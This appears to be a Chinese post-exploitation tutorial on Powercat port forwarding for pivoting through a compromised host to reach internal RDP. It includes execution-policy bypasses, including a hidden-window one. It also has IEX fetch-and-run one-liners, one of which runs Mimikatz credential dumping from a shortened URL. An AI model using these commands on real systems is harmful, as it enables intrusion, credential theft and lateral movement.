實戰中,我們也會遇到需要我們進行端口轉發的情況,比如已經拿下的目標機1是在dmz區,而目標1所在內網的其他目標只能通過目標1去訪問,這時候我們就需要端口轉發或者代理來進行后滲透。這次就要介紹一個加強版的nc,基于powershell的后滲透工具
Powercat
?
?
下載地址:Lhttps://github.com/besimorhino/powercat
?
0x01 powercat準備
首先得改一下ps的執行腳本權限
Set-ExecutionPolicy Bypass
?
?
然后直接執行我們的powercat腳本即可。
?
?
也可以通過常規三種繞過執行策略的方式執行ps腳本
?
本地權限繞過
PowerShell.exe?-ExecutionPolicy?Bypass?-File?xxx.ps1
本地隱藏權限繞過執行腳本
PowerShell.exe?-ExecutionPolicy?Bypass?-NoLogo?-Nonlnteractive?-NoProfile?-WindowStyle?Hidden(隱藏窗口)?-File?xxx.ps1
用IEX下載遠程PS1腳本回來權限繞過執行
powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI');Invoke-Mimikatz-DumpCreds"
所以,直接選擇最簡單的吧,也別下載了,直接遠程權限繞過,在Powershell?中執行:
IEX?(New-Object?System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
?
?
?
可以看到Powercat已經成功執行了
?
?
?
0x02 使用powercat端口轉發
?
先來看下參數
?
?
?
?
?
?
?
不過端口轉發中我們只需要其中幾個參數
命令解析:
-c?指定一個ip地址
-p?指定一個端口
-v?顯示詳情
-l?監聽模式,用于入站鏈接
-p?本地端口號
-e?程序重定向,跟nc一毛一樣
-v?顯示詳情
下面用實際例子來說明每個參數的作用
?
?
?
?
?
?
?
?
?
?
?
?
?
?
例子一:
?
環境: 192.168.190.135 ?windows2003開放了3389(目標機)
????192.168.190.149 ?windows8 (攻擊機)
?
將192.168.190.135上的3389服務流量轉發到本地的9001端口,攻擊機用到的命令為:
?
powercat -c 192.168.190.135 -p 3389 -v -r tcp:9001
?
然后連接本地的9001端口,可以發現是轉發成功的。
?
?
例子二:
?
環境: 192.168.190.135 ?windows2003開放了3389(內網目標機)
????192.168.190.151 ?windows8 (外網目標機)(與內網目標機處一個內網)
192.168.190.149 ?windows8 (攻擊機)
Ps:假設攻擊機拿下了外網目標機的權限,想進一步內網滲透但是不能直接訪問內網目標機的3389服務,只能通過外網目標機訪問內網目標機的3389服務。
?
?
?
?
外網目標機執行:
powercat -c 192.168.190.135 -p 3389 -v -r tcp:6666
(連接內網目標機的3389端口,將流程轉到自己的6666端口)
?
?
?
攻擊機執行:
powercat -c 192.168.190.151 -p 6666 -v -r tcp:1111
(連接外網目標機的6666端口,把流程轉到本地的1111端口)
?
可以看到轉發成功。
?